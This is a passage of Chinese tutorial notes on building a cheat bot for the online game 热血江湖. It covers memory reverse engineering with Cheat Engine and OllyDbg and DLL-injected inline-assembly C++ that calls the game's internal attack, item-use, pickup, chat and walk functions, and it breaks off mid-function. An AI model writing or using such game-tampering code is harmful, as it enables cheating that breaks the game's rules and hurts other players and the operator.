push 1
push 0x44c
mov ecx,edi
mov eax,[eax+4]
call eax
}
} //end if
p1530=(int*)CurRoleBase;
p1530=(int*)(*p1530+0x1530);
*p1530=*bc;//写入下标
return ;
} // end if
}//end for
}
//普攻打怪,上节课找出的打怪代码
void BeatMon()
{
_asm
{
mov ecx,CurRoleBase
mov ecx,[ecx]
mov eax,BeatMonCall
call eax
}
}
然后还需要添加一个定时器,在WGForm.cpp中添加代码,时间函数的定义在上面
void CWGForm::OnChkAutoselmon()
{
UpdateData(true);
if (m_bautoselmon){
SetTimer(TimerSel_ID,2000,&AutoSel);//每2秒自动执行一次
} else {KillTimer(TimerSel_ID);}
}
void CWGForm::OnChkAutobeatmon()
{
UpdateData(true);
if (m_bautobeatmon)
{
SetTimer(TimerBeat_ID,1500,&AutoBeat);//每1.5秒执行一次
} else
{KillTimer(TimerBeat_ID);}
}
这样就形成了一个完整的选怪打怪命令.
随笔:现在的小挂已经具有最初级的功能,可以让人物自动打怪,记的以前有的一些免费挂就这样一个功能,就会受到很多网友的欢迎了,毕竟每个怪都用鼠标或键盘来打的话实在是太累人了.
2.5.3、物品背包数组基址+偏移分析(CE+OD)
a、确定突破口
b、回溯基址
c、用OD验证
d、推导出基址+偏移公式
CE查找 物品数量 222
[45B3AAC]=[059E7024]=0d80F548
物品背包数组(基址0d80F548)(0):
+4 物品对象(1)
+8 物品对象(2)+0*4+3d8(相对基址271e1750):
+??
+4a0 物品数量:int偏移271E1BF0
+?? 物品名称:char *
+?? 功能说明:char *
006799E1:mov ecx,[edx+eax*4]
00576E15:mov eax,[edi+esi*4+3d8]
00577121:mov ecx,[edi+esi*4+3d8]
一级基址:[45B3AAC]=[059E7024]=0d80f548
+i*4+3d8
+4a0
dd [[059E7024]+i*4+3d8] //数组[i] dc [[45B3AAC]+6*4+3d8]+58
+58 //物品名字 char *
+4a0 //物品数量
//////////////////////////////////////////////
找背包,一般是从物品数量为突破口,因为数量为一个很精确的值,这样找起来很方便,找到数量后也可以顺着找出物品的其它属性.用CE找金创药数量,吃下再找就出来了.下内存访问查找基址,发现上级偏移是271E2F18,在CE里搜索这个16进制数,发现了一个绿色基址,但感觉不对,我们找另外的两个地址,用CE查找访问,需要找的是带有数组的汇编代码:006799e1 mov ecx,[edx+eax*4].一不小心游戏出错了,用CE再来查找一次.
再向上就找到了基址
一级基址:[45B3AAC]=[059E7024]=0d80f548
这个公式就是dd [[059E7024]+i*4+3d8]
打开OD来到这个地址处,找到了其它的偏移信息
+58 //物品名字
+4a0 //物品数量
最后将特征码复制出来以方便下次查找
背包数组 esi为下标
LEA EAX,DWORD PTR DS:[ESI+ESI*8]
LEA EDX,DWORD PTR DS:[EBX+ESI*4+3D8]
PUSH EDI
MOV DWORD PTR SS:[EBP+8],EDX
LEA ECX,DWORD PTR DS:[EBX+EAX*4+5B4]
MOV DWORD PTR SS:[EBP-14],ECX
MOV EDX,DWORD PTR SS:[EBP+8]
MOV ESI,DWORD PTR DS:[EDX]
TEST ESI,ESI
2.5.4 、使用指定物品 UseGoods(int index=0);
a、算法原理
b、返回物品在背包中的下标 int GetGoodsIndex(char* name);
c、useGoods(GetGoodsIndex("金创药(小)");
参考 2.2.2 来更新 物品使用CALL
005e47a4:
MOV EDX,DWORD PTR DS:[EAX+208]
PUSH EDX //物品背包下标
PUSH 1
PUSH 0
CALL 0057FF10
参考 2.5.3 来更新 背包数组基址
dd [45BA62C]+0*4+3d8
+58 //物品名字 char *
+4a0 //物品数量
8. int memcmp(const void *s1, const void *s2, size_t n)
功能 : 对内存中两个字符串进行大小写敏感的比较;
返回值 : s1 == s2 return 0
s1 > s2 return 1
s1 < s2 return -1
原理
///////////函数实现部分
const int GoodsBase=0x45BA62C;
int GetGoodsIndex(const char* name)//获取物品下标
{
char * CurGoodName;
int iaddr;
for (int i=0;i<35;i++) // 0..34
{
iaddr=i*4;
_asm
{
mov ecx,GoodsBase;
mov ecx,[ecx] //mov ecx,[0x45BA62C]
add ecx,iaddr // ecx,[0x45BA62C]+i*4
add ecx,0x3d8 // ecx,[0x45BA62C]+i*4+3d8
mov ecx,[ecx] // ecx,[[0x45BA62C]+i*4+3d8]
mov iaddr,ecx //物品对象iaddr=[[0x45BA62C]+i*4+3d8]
}
if (iaddr>0)
_asm
{
mov ecx,iaddr // ecx=[[0x45BA62C]+i*4+3d8]
add ecx,0x58 // ecx =[[0x45BA62C]+i*4+3d8]+58
mov CurGoodName,ecx //CurGoodName=[[0x45BA62C]+i*4+3d8]+58
}
if (memcmp(name,CurGoodName,strlen(name))==0) return i;
} //end for
return 0;//遍历背包 未找到指定物品
}//end GetGoodsIndex;
const int UseGoodsCallBase=0x0057FF10
void UseGoods(const int index)
{
_asm
{
PUSH index //物品背包下标
PUSH 1
PUSH 0
mov edx,UseGoodsCallBase
CALL edx//
}
}
/////////////////////////////////////////////
先测试一下使用物品CALL,然后编写代码遍历背包通过物品名称来识别物品,先写汇编代码读出物品对象,然后再通过对象找出物品名称
int GetGoodsIndex(const char* name)//获取物品下标
{
char * CurGoodName;//物品名称
int iaddr;//格子
for (int i=0;i<35;i++) // 0..34一共35个背包格子
{
iaddr=i*4;//格子向下偏移
_asm
{//取得物品对象
mov ecx,GoodsBase;
mov ecx,[ecx] //mov ecx,[0x45BA62C]
add ecx,iaddr // ecx,[0x45BA62C]+i*4
add ecx,0x3d8 // ecx,[0x45BA62C]+i*4+3d8
mov ecx,[ecx] // ecx,[[0x45BA62C]+i*4+3d8]
mov iaddr,ecx //物品对象iaddr=[[0x45BA62C]+i*4+3d8]
}
if (iaddr>0)
_asm
{ //取得物品名称
mov ecx,iaddr // ecx=[[0x45BA62C]+i*4+3d8]
add ecx,0x58 // ecx =[[0x45BA62C]+i*4+3d8]+58
mov CurGoodName,ecx //CurGoodName=[[0x45BA62C]+i*4+3d8]+58
}
if (memcmp(name,CurGoodName,strlen(name))==0) return i;//如果找到物品则真
} //end for
return 0;//未找到物品则假
找到了物品之后还需要使用物品功能
const int UseGoodsCallBase=0x0057FF10;//物品使用CALL 基址
void UseGoods(const int index)
{
_asm
{
PUSH index //物品背包下标
PUSH 1
PUSH 0
mov edx,UseGoodsCallBase
CALL edx
}
使用时是这样调用的
void CWGForm::OnBUTTONusegoods()
{
UseGoods(GetGoodsIndex("人参"));
}
tabCtrl关联控件变量:
m_tabmain
#include "Page_safe.h"
#include "Pag_GJ.h"
#include "Page_TESTCALL.h"
CPAG_GJ page_gj;
CPAGE_SAFE page_safe;
CPAGE_TESTCALL page_testcall;
m_tab.InsertItem(0,"AAA");
m_tab.InsertItem(1,"BBB");
p1.Create(IDD_PAG1,GetDlgItem(IDC_TAB1));
p2.Create(IDD_PAG2,GetDlgItem(IDC_TAB1));
switch(m_tab.GetCurSel())
{
case 0:
{
p1.ShowWindow(true);
p2.ShowWindow(false);
break;
}
case 1:
{
p1.ShowWindow(false);
p2.ShowWindow(true);
break;
}
default:
{
break;
}
}
///////////////////////////////////////////////////
在DELPHI中增加控件编写程序是很容易的,但是在VC中控件就少很多不太容易,所以本节就是讲了VC中控件的应用.我们新建了TabCtrl控件,并新m_maintab变量,用于设置TabCtrl控件
m_tabmain.InsertItem(1,"CALL测试");
m_tabmain.InsertItem(2,"挂机");
m_tabmain.InsertItem(3,"保护");
m_tabmain.InsertItem(5,"测试5");
这样设置好之后就会出现TabCtrl的选项了
这样标签已经上去了,但是里面的按钮怎么放上去呢?这时我们就要插入资源,然后选择Dialog对话框,选择一个比较大的页面(第5个),有几个标签就插入几个资源.但是这样也不能添入到各个标签中,还需要新创建一个类,创建完类之后还要定义头文件……
这些代码我实在是搞不懂了……
这节课笔记都不太好记了,因为老师也出错了好几次…
然后又写了一个结构
switch(m_tab.GetCurSel())
……
就这样的一个简单的功能,竟然要编写这么多代码和设置
我承认这节课我的笔记记的很不好,但是太不好记了,我已经尽力了.
2.5.6、TabCtrl控件BUG修证(VC++基础好的可跳过)
a、修证乱码
b、修证对齐
c、局部美化(位置大小调整)
//删掉有乱码的窗口资源
GetCurSel()
//////////////////////////////
继续上节课,修改了几个显示错误的TAB控件,在代码里分别设置5个页面,在许多地方添加了许多代码之后,终于做好了这个TAB控件,目地就是每次单击Tab控件的时候,就通过GetCurSel函数来设置面板上的各个页面来显示控件.经过多次的调整最终效果如下:
2.5.7、捡物功能分析实现
a、捡物功能CALL分析
b、捡物CALL参数分析
c、测试及封装到pickgoods()函数
参考2.5.1 更新普通攻击CALL 地址为:004603C0
找捡物CALL 思路:
第一种:1、先找F1-F10技能栏数组(DWORD)(4字节)
2、把捡物动作放到F10上(其它的快捷栏也可以)
3、对F10技能栏下内存访问断点(因为在按下F10技能栏时,游戏本身会去访问它,以读出相应栏究竟是放的,物品/技能/动作)
4、断下来的地址,其它之一肯定就是捡物CALL附近的地址,通过分析一般能找出捡物CALL(参考2.5.1)
第二种:通过普攻CALL来回溯分析
1、因为普攻 和捡物 属于同一类的 动作 大部分程序员会把它放在一个大的CASE里边
如:switch(动作号)
//前面下断
{ case 普攻ID:{调用普攻CALL}
case 捡物ID:{相应CALL功能}
case 打坐ID:{相应CALL功能}
case 走跑ID:{相应CALL功能}
case 逃脱ID:{相应CALL功能}
case 组队ID:{相应CALL功能}
case 交易ID:{相应CALL功能}
//.........
default:
}
访问 选中怪ID
打怪CALL 上级CALL
//普攻
mov ecx,59F3238//当前角色基址
mov ecx,[ecx]
CALL 0045ECE0
///捡物
mov ecx,59F3238//当前角色基址
mov ecx,[ecx]
CALL 0045EEE0
//打坐功能
CALL 005E37C0
/////////////////////////////////////////////
捡物有两种思路,首先是通过技能拦,所以我们要查找技能拦数组,因为我们之前已经找到技能拦的调用了,所以我们找第二种方法,就是直接调用捡物功能.
因为在游戏中各种动作都是一个分支语句,那么我们就先用OD附加游戏,来到普通攻击地址004603c0(以前找到的),那么我们再来到该CALL的上级看一下,就找到了一堆CASE语句了,那么我们一下子就将这里面这几个动作都找到了,然后经过测试也证实了我们的猜想.
代码分析完后,我们打开VC编写代码来调用这几个功能CALL.
void PickGoods()//捡物功能
{
_asm
{
mov ecx,CurRoleBase //当前角色基址
mov ecx,[ecx]
mov eax,PickGoodsCall
call eax
}
}
修改了多处错误,又发现360在干扰我们的DLL注入,最终调用成功.
2.5.8:F1-F10技能数组分析
a、F1-F10技能栏数组(基址+偏移)
b、F1-F10功能调用核心代码分析
1、打开游戏
DWORD F1_F10;//10*4字节 //00FF1,00ff2,00ff3
5*4字节为0
2、移动一个物品对象(技能对象) 到F1技能栏
数值>0
3、移出物品对象。
数值=0 扫描类型(精确数值=0)
4、移动人物
走上几部 ,其它数据发生变化,但F1=0
5、再次移动物品对象至F1栏上
数值>0 扫描类型(大于)
6、扫描 未更新的数值
7、移出物品对象
扫描 精确数值0
8、查找访问该地址的代码:
0057a14c/0057a2b6/0057a500/005e271d/005e2737/0057fd44/
mov eax,[edi+esi*4+3d8]
[edi+3d8+esi*4] //esi下标
//edi+3d8 数组基址
005e271d
mov ecx,[ecx+ebx*4+3d8]
ecx=[45BC28C]
dd [[45BC28C]+0*4+3d8] //显示F1对象
dd [45BC28C]+0*4+3d8 //显示F1-F10对象数组
/////////////////////////////
F1-F10关键 核心代码地址
005E462c/005e46b8
////////////////////////////////////////////
这节课要找的是游戏中的技能拦数组,在技能拦上如果有技能则是非0的值,没有技能应该是0, 这样在CE里搜索,如果搜索到的数值非常多,那么就在游戏里移动一下,多次之后就找到了几个地址,首先看一下第一个地址
发现还有其它地址也像,又搜索了一个
然后用OD附加游戏,在各个地址间查看,挑一下看哪个地址比较好找些.005e2717这个好.
最终找到的就是这个值,详细记录都在上面教案中
dd [[45BC28C]+0*4+3d8] //显示F1对象
dd [45BC28C]+0*4+3d8 //显示F1-F10对象数组
2.5.9、F1-F10功能CALL
a、找出真的功能CALL
b、F1-F10功能CALL参数分析
c、F1-F10功能CALL测试(集成功能至GameProc.h)
参考2.5.8
dd [[45BC28C]+0*4+3d8] //显示F1对象
dd [45BC28C]+0*4+3d8 //显示F1-F10对象数组
/////////////////////////////
F1-F10关键 核心代码地址
005E462c/005e46b8
void F1_F10( int index=1)
{ index=index-1;
_asm
{
mov ecx,[0x144c590]
push index
mov ecx,[ecx+0x23c]
mov eax,0x005e4610 //eax,ebx,edx,edi,esi
call eax
} //end asm
}
//////////////////////////////////////////////////////
上节课找出了技能CALL,本节课是要编写代码来调用.上节课我们找到的CALL后,返回上级调用,就发现了一堆的CASE.
这里的基址很好找了.但是这个是鼠标的CALL,键盘是另外一个CALL,这里的基址就相对难了一些,慢慢向上找,返回上一级CALL继续找,想找出来比较复杂
下面是老师记录的汇编代码段,也可以查找特征码方便以后更新.
0057FF6E |. /74 31 JE SHORT Client.0057FFA1
0057FF70 |. |83F8 0B CMP EAX,0B
0057FF73 |. |0F85 AA200000 JNZ Client.00582023
0057FF79 |. |8B0D 90C54401 MOV ECX,DWORD PTR DS:[144C590] ; Case B of switch 0057FF67
0057FF7F |. |8B45 10 MOV EAX,DWORD PTR SS:[EBP+10]
0057FF82 |. |50 PUSH EAX
0057FF83 |. |8B89 4C020000 MOV ECX,DWORD PTR DS:[ECX+24C]
0057FF89 |. |E8 124C0900 CALL Client.00614BA0
0057FF8E |. |8B4D F4 MOV ECX,DWORD PTR SS:[EBP-C]
0057FF91 |. |64:890D 00000>MOV DWORD PTR FS:[0],ECX
0057FF98 |. |5F POP EDI
0057FF99 |. |5E POP ESI
0057FF9A |. |5B POP EBX
0057FF9B |. |8BE5 MOV ESP,EBP
0057FF9D |. |5D POP EBP
0057FF9E |. |C2 0C00 RETN 0C
0057FFA1 |> 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10] ; Case 4 of switch 0057FF67
0057FFA4 |. 8B9481 D80300>MOV EDX,DWORD PTR DS:[ECX+EAX*4+3D8]
0057FFAB |. 85D2 TEST EDX,EDX
0057FFAD |. 0F84 70200000 JE Client.00582023
0057FFB3 |. 8B15 90C54401 MOV EDX,DWORD PTR DS:[144C590] ; 0
0057FFB9 |. 50 PUSH EAX ; 数组下标0..9
0057FFBA |. 8B8A 3C020000 MOV ECX,DWORD PTR DS:[EDX+23C] ; ecx=[[144c590]+23c]
0057FFC0 |. E8 4B460600 CALL Client.005E4610 ; F1-F10 鼠标
0057FFC5 |. 8B4D F4 MOV ECX,DWORD PTR SS:[EBP-C]
0057FFC8 |. 64:890D 00000>MOV DWORD PTR FS:[0],ECX
0057FFCF |. 5F POP EDI
0057FFD0 |. 5E POP ESI
0057FFD1 |. 5B POP EBX
0057FFD2 |. 8BE5 MOV ESP,EBP
0057FFD4 |. 5D POP EBP
0057FFD5 |. C2 0C00 RETN 0C
0057FFD8 |> 83FA 01 CMP EDX,1 ; Switch (cases 0..59)
0057FFDB |. 75 23 JNZ SHORT Client.00580000
0057FFDD |. A1 90C54401 MOV EAX,DWORD PTR DS:[144C590] ; Case 1 of switch 0057FFD8
0057FFE2 |. 8B88 18030000 MOV ECX,DWORD PTR DS:[EAX+318]
0057FFE8 |. E8 D3E80600 CALL Client.005EE8C0
0057FFED |. 8B48 40 MOV ECX,DWORD PTR DS:[EAX+40]
关于特征码,主要是记录一些汇编命令,不要记录CALL地址一类的数据,因为这类地址会随着游戏的更新而变化.
然后编写代码在VC里调用,代码已经在教案中.最后在游戏中测试一下,OK了……
[中级篇总结]:课程中分两部分,一个是反汇编游戏找CALL,另一部分是编写VC代码,找游戏我感觉还是比较熟悉的,但是VC代码实在是不好弄,尤其MFC的用法比DELPHI的控件难多了,要不是为了以后学驱动的时候打点基础,我还真是不想学VC了.
3.1.1、喊话功能
a、找喊话内容地址
b、分析出关键CALL
c、测试关键CALL
喊话内容地址:
扫描类型
喊话内容地址:065EF354:字串
按下回车后:
0055bd8f,0055bd9d,0055bdfa,0055bd91,0055bda0,0055bda7
005ae1b0:lea edi,[edx+13c]
往上找上层CALL
代码注入器代码
mov esi,0DA38FD8
mov edx,[esi]
push 0d
push 0d
push 3ed
mov ecx,esi
call [edx+4]
/////////////////////////////////////////////////////////////////////////
学到进阶篇了,内容以找CALL为主.本节课是要找喊话的内容,我们的突破点是先在聊天窗口输入一段文字,在CE里扫描这段喊话内容,类型是文本型.经过几次搜索,发现了两个地址,其中一个是显示的内容,一个是真正喊话的内容.我们来查找一下访问.
先来到 005aF1B0 lea,dword ptr[edx+13c] 这里,按下回车就被断下来了,为了找到关键CALL,我们再来下bp WSASend ,如果先在SEND处被断下来,那么就说明我们找过了,再向前找找其它的地址.
那么我们再来找0055BD8f这个地址,这里是在发送封包的前面,也就是我们需要查找的地址
我们在CE里写好文字,按照汇编代码在注入器里测试一下,哎没反映,又找一下其它的地址,但是还是不太像…又换了另外一个地址005AE19E,还是不行,返回上一层,又回到最开始的地址,再测试一下终于实现了喊话的功能.
下面是本节课的记录内容:
ASCII "1111aaaaaaaaaaaaa"
00435CF1 |. F3:AB REP STOS DWORD PTR ES:[EDI]
00435CF3 |. 8B0D 34F14401 MOV ECX,DWORD PTR DS:[144F134]
00435CF9 |. AA STOS BYTE PTR ES:[EDI]
00435CFA |. 8991 10020000 MOV DWORD PTR DS:[ECX+210],EDX
00435D00 |. A1 34F14401 MOV EAX,DWORD PTR DS:[144F134]
00435D05 |. 8990 0C020000 MOV DWORD PTR DS:[EAX+20C],EDX
00435D0B |. 8B0D 34F14401 MOV ECX,DWORD PTR DS:[144F134]
00435D11 |. 8991 14020000 MOV DWORD PTR DS:[ECX+214],EDX
00435D17 |. A1 34F14401 MOV EAX,DWORD PTR DS:[144F134]
00435D1C |. 8990 18020000 MOV DWORD PTR DS:[EAX+218],EDX
00435D22 |. 8B0D 34F14401 MOV ECX,DWORD PTR DS:[144F134]
00435D28 |. 8991 1C030000 MOV DWORD PTR DS:[ECX+31C],EDX
00435D2E |. A1 34F14401 MOV EAX,DWORD PTR DS:[144F134]
00435D33 |. 8990 08020000 MOV DWORD PTR DS:[EAX+208],EDX
00435D39 |. 8B0D 90044701 MOV ECX,DWORD PTR DS:[1470490]
00435D3F |> 8B76 48 MOV ESI,DWORD PTR DS:[ESI+48]
00435D42 |. 8B7D 10 MOV EDI,DWORD PTR SS:[EBP+10]
00435D45 |. 8B5D 0C MOV EBX,DWORD PTR SS:[EBP+C]
00435D48 |. 3BF2 CMP ESI,EDX
00435D4A |. 74 16 JE SHORT Client.00435D62
00435D4C |. 8B16 MOV EDX,DWORD PTR DS:[ESI] ; esi=[5A11200+127*4]
00435D4E |. 57 PUSH EDI ; 0d=13=回车键
00435D4F |. 53 PUSH EBX ; 0d=13=回车键
00435D50 |. 68 ED030000 PUSH 3ED
00435D55 |. 8BCE MOV ECX,ESI ; [5A11200+127*4]
00435D57 |. FF52 04 CALL DWORD PTR DS:[EDX+4] ; [[[5A11200+127*4]] +4]
00435D5A |. 8B0D 90044701 MOV ECX,DWORD PTR DS:[1470490]
3.1.2、喊话功能VC++实现
a、分析喊话CALL参数基址+偏移
b、V++代码实现
Esi=0x5A1169C;
ECX=0x5A1169C;
lea 指令
取地址指令:
mov eax,[144F134]
如:lea edi,[eax+13c] 相当于 edi=eax+0x13c;
repne scas定位[edi]指向字串,al里边值,计数在ECX里边 (not ECX)-1
dc [144F134]+13c //dc 以ASCII的形式来显示内存数据
MOV EDX,DWORD PTR DS:[ESI] ; esi=[5A11200+127*4]
00435D4E |. 57 PUSH EDI ; 0d=13=回车键
00435D4F |. 53 PUSH EBX ; 0d=13=回车键
00435D50 |. 68 ED030000 PUSH 3ED
00435D55 |. 8BCE MOV ECX,ESI ; [5A11200+127*4]
00435D57 |. FF52 04 CALL DWORD PTR DS:[EDX+4] ; [[[5A11200+127*4]] +4]
00435D5A |. 8B0D 90044701 MOV ECX,DWORD PTR DS:[1470490]
//喊话CALL
void talk(const char* text)//text="1234"
{
_asm
{ mov al,al
mov al,al
}
char *s;//[144F134]+13c;
int *p;
p=(int*)(0x144F134);
s=(char*)(*p+0x13c);
memcpy(s,text,strlen(text));
_asm
{mov esi,0x5A1169C
mov esi,[esi]
mov edx,[esi]
push 0x0d
push 0x0d
push 0x3ed
mov ecx,esi
call [edx+4]
}
}
////////////////////////////////////////
上节课已经找到游戏喊话CALL了,那么这次我们就要编写自己的代码来实现自动喊话,另外还要找一下CALL中参数的来源.先来到00435D57这个地址,我们需要查找ESI的来源,用CE搜索一下就发现了一个绿色基址05A1169C,除了这个基址还有其它的偏移地址,跟了一下偏移发现很难找,所以我们就直接用这个基址了.除了这个CALL的参数之外,还有一个参数就是我们发话的地址,通过CE再查找几次喊话的内容,找到后我们打开OD,来到0055BD91这个地址,发现了对于字符串的操作代码
老师在这里对这几条汇编语句进行了详细的讲解,比如REPNE SCAS 这条汇编语句是取字符串长度 / LEA指令是取地址等等,已记录在教案中了.那么字符串的地址就是[144F134]+13c,接下来编写喊话代码,编写好后测试了一下发现出错了,经过查找发现了是汇编的问题,最终代码如下:
//喊话CALL
void talk(const char* text)//喊话内容text
{
_asm
{
mov al,al
mov al,al
}
//定义指针指向喊话地址[144F134]+13c;
char *s;
int *p;
p=(int*)(0x144F134);
s=(char*)(*p+0x13c);
memcpy(s,text,strlen(text));//将喊话内容写到喊话地址
_asm
{//将上节课的喊话汇编代码集成到函数中
mov esi,0x5A1169C
mov esi,[esi]
mov edx,[esi]
push 0x0d
push 0x0d
push 0x3ed
mov ecx,esi
call [edx+4]
}
}
3.2.1、走路相关数据分析(为分析走路/寻路CALL做准备)
a、查找当前角色坐标(xhy)
b、查找目的地坐标(xhy)偏移+基址
c、找出相关CALL
d、push 压栈的另一种 写法
假设:
存在一个目的地 的坐标
1、浮点数(float) 可以带小数点(4字节)
X坐标=61
走路CALL 内部:
004574B6: mov [0146cF78],eax //X坐标
00450250: mov [esi],eax //X坐标
{
push 2
push y
push h
push x
mov ecx,???
call 457420
}
push ???
esp=esp-4
/// 关键CALL 457420
小结:
1、找目的地坐标X
2、通过目的地坐标X 回溯出 走路CALL 00457420
////////////////////////////////////////////////////////////////
游戏中走路是很关键的,这节课就是要找出走路CALL,大部分游戏中坐标植有浮点数.我们要找的是目地地坐标,当我们用鼠标点中一个要走到的地址的时候,游戏中就会有这个地址的数值,我们可以先找到当前的坐标,走一下到地方后再搜索一下当前的坐标.如果要找目地坐标的话那么就点一个远的地址,然后看这些个找到的坐标值哪个像目地坐标.当然人的在移动的过程当中我们也可以通过改变其值来更改目地坐标.当找到目地坐标地址后,我们在CE里下写入访问,就是004574B6 mov [0146cf78],eax,我们返回上一层看,就找到了关键CALL.
但这里的参数有点特别,不是直接PUSH的,而是通过MOV将要压入的值传到寄存器里的.
0045E6E6 |. 8B86 781F0000 MOV EAX,DWORD PTR DS:[ESI+1F78]
0045E6EC |. 6A 02 PUSH 2 ; push 2 //第一个压栈
0045E6EE |. 8B8E 7C1F0000 MOV ECX,DWORD PTR DS:[ESI+1F7C]
0045E6F4 |. 83EC 0C SUB ESP,0C ; esp=esp-0c 分配3个参数堆栈空间
0045E6F7 |. 8BD4 MOV EDX,ESP
0045E6F9 |. 8902 MOV DWORD PTR DS:[EDX],EAX ; push [esi+1F78] //x第四个压栈 [esp]=eax
0045E6FB |. 8B86 801F0000 MOV EAX,DWORD PTR DS:[ESI+1F80]
0045E701 |. 894A 04 MOV DWORD PTR DS:[EDX+4],ECX ; push [esi+1F7c] //h第三个压栈
0045E704 |. 8BCE MOV ECX,ESI
0045E706 |. 8942 08 MOV DWORD PTR DS:[EDX+8],EAX ; push [esi+1F80]//y第二个压栈
0045E709 |. E8 128DFFFF CALL Client.00457420 ; walkroad esi=065E9958
更新 走路CALL地址为:CALL 00457D60
3.2.2、走路功能CALL及相关分析
a、分析走路状态开关
b、测试走路CALL
c、确定功能CALL及参数
push 2
push y
push h
push x
mov ecx,???
call ???
////////////////1111111111
mov ecx,065FEC8C
push 2
sub esp,0c
mov edx,esp
mov edi,0C2C6B7B9
mov [ecx+1F78],edi //x
mov [edx],edi
mov edi,0C3B3F7F1
mov [ecx+1F7c],edi
mov [edx+4],edi
mov edi,45045400
mov [ecx+1f80],edi
mov [edx+8],edi
CALL 00457D60
///////////////////22222222222
对esi+1F78内存地址 下写入断点 以找其它走路相关CALL
mov ebx,065FEC8C
mov ecx,0
mov [ebx+0d8c],ecx
MOV DWORD PTR DS:[EBX+0D88],ECX
MOV DWORD PTR DS:[EBX+200],ECX
MOV DWORD PTR DS:[EBX+1FC],ECX
MOV BYTE PTR DS:[EBX+245],0
MOV BYTE PTR DS:[EBX+2D10],0
MOV WORD PTR DS:[EBX+1664],0
MOV BYTE PTR DS:[EBX+0F8],0
MOV EDX,DWORD PTR DS:[EBX]
push 0
push esi
push 3f2
mov ecx,ebx
call [edx+4]
//////////////////////////////////
ecx= 065FEC8C
ecx+1F78 // xhy
+1F78+4 //1f7c=h
+ 1f78+8 //1f80=y
ecx+14DC //x
+14DC+4//14e0=h
+14DC+8//14e4=y
////////////////////////////////////333333333333
lea eax,xhy
push esi //现在的坐标地址
push eax //前往地址
mov ecx,065FEC8C
CALL 0045F480
////////////
///////////////////////////////////////44444444444
CALL 004E5BF0 //可能是走路CALL
PUSH 144ED20 //鼠标所在 坐标1024*768
//////////////////////////////////////////////////////////////
上节课找出的走路CALL这节课要进行测试,我们还是照着游戏中写座标的代码来进行编写,确定一下坐标是如何调用的,这段代码还真是比较多.试了一次没反应,又试一次还没反应.(教案测试代码第一段)
所以我们对ESI+1F78这里下写入断点看看,我们又来到另一段汇编中,一直找到头部,但是下断马上被断了,所以不行,那么回来再看看,测试一下,又错了.(教案测试代码第二段)
我们再到这个CALL的上一级看一下,再测试,还是不太像(教案代码三)
再继续向前找,还有一个比较像的,(教案代码四)
本节课一共是58分,却没有找到真正的走路CALL.我说明热血江湖的走路确实不好搞,而且老师也很有耐心找.可惜老师讲课没有备课,最终也没找到走路CALL,不想看过程而只想知道结果的本课跳过直接看下节课好了.
3.2.3、对找到的几个疑是CALL进行测试
a、分析出疑是CALL相关参数
b、对找到的CALL进行逐一测试
c、确定真正的走路CALL
////////////////1111111111
mov ecx,065FEC8C
push 2
sub esp,0c
mov edx,esp
mov edi,0C2C6B7B9
mov [ecx+1F78],edi //x
mov [edx],edi
mov edi,0C3B3F7F1
mov [ecx+1F7c],edi
mov [edx+4],edi
mov edi,45045400
mov [ecx+1f80],edi
mov [edx+8],edi
CALL 00457D60
///////////////////22222222222
对esi+1F78内存地址 下写入断点 以找其它走路相关CALL
mov ebx,065FEC8C
mov ecx,0
mov [ebx+0d8c],ecx
MOV DWORD PTR DS:[EBX+0D88],ECX
MOV DWORD PTR DS:[EBX+200],ECX
MOV DWORD PTR DS:[EBX+1FC],ECX
MOV BYTE PTR DS:[EBX+245],0
MOV BYTE PTR DS:[EBX+2D10],0
MOV WORD PTR DS:[EBX+1664],0
MOV BYTE PTR DS:[EBX+0F8],0
MOV EDX,DWORD PTR DS:[EBX]
push 0
push esi
push 3f2
mov ecx,ebx
call [edx+4]
//////////////////////////////////
ecx= 065FEC8C
ecx+1F78 // xhy //源地址坐标
+1F78+4 //1f7c=h
+ 1f78+8 //1f80=y
ecx+14DC //x
+14DC+4//14e0=h //目的地址坐标
+14DC+8//14e4=y
////////////////////////////////////333333333333
void walk1(float xhy[3])
{
_asm{
mov ecx,0x065FEC8C
lea eax,xhy
lea esi,[ecx+0x1F78]
push esi //现在的坐标地址
push eax //前往地址
mov eax,0x0045F480
call eax}
}
////////////
///////////////////////////////////////44444444444
CALL 004E5BF0 //可能是走路CALL
PUSH 144ED20 //鼠标所在 坐标1024*768
void walk2(float xhy[3])//目的地坐标地址
{
_asm{
mov ecx,0x065FEC8C
mov ebx,ecx
lea edi,[ebx+0x8c]
push edi
lea ecx,[ebx+0x1fa4]
push ecx
lea edx,[ebx+0x88]
push edx
lea esi,[ecx+0x1F78]
push esi //现在的坐标地址
lea eax,xhy
push eax //前往地址
mov eax,0x0045F480
call eax}
}
////////////////////////////////////////////////
继续上节课,对这几个比较像的走路CALL进行测试,发现代码3找到的CALL是正确的,我们再来找一下原地址和目地地址坐标.在VC里编写代码已在教案中.写入代码后测试还是没有反应.
再看看另外一段汇编代码(代码4),写入代码后一调用,游戏出错了.修改之后调用发现是用右键走路有点奇怪.
本节课最终仍然没有弄好游戏 的走路功能,看来真的很难.
3.2.4、走路功能集成到函数
a、走路CALL 状态开关分析
b、分析状态开关 基址+偏移
c、完成走路CALL函数Walk(x,y)
1、状态开关分析
假设 角色有某个属性
b:0 表示 走路 1表示 站立
打开CE
假设 站立时 b状态0
先让人物跑起来 b状态1
////////////////1111111111
00457dbf fcomp dword ptr[0146dff8] //X
00457df6 mov [0146dff8],eax //目的地坐标基址
06600168 用OD来找 目的地坐标基址
//
004f6ca cmp dword ptr[ebx+000014f4],1//
0044f5e0 mov al,[ebx+14f8] //
00450583 mov byte ptr[esi+1c],01//14f8写入
00459a0b mov byte ptr[ebx+esi+0000d95],01//
0044f5da mov [ebx+0000d9a],al//1字节
065FEC8C+14F4 //跑步 时置1 Dword
+14F8 //跑步 时置1 byte
+d95 //跑步 置0
+d9a //跑步 置0
///////////////////////////////////////////////////////////////////////////////////////////////
因为前面通过目地地址找CALL已经失败,所以我们这次要CE通过走跑状态来找CALL,一般情况下人物未动是0,移动起来则是1,这样经过多次的搜索,这样找到了几个值.保存一下这几个地址,然后再找一下当前坐标的值,但是数值不太好找,借鉴一下上节课查找的偏移再找一下.这样反复查找多次.
发现需要改两个地方人物可以跑起来了,一个是更改目地坐标,另一个是走跑开关,那么我们来查找一下访问这个目地坐标的地址.将这几个访问地址记下来,并且将走跑开关的地址也记下来(已经在教案中记录了).
3.2.5、利用分析数据 实现走路/寻路
a、走路功能代码实现
b、测试
c、封装到walk(x,y)
dd 065FEC8C+14dc //目的地址
void walk(float x,float y)
{
float xhy[3];
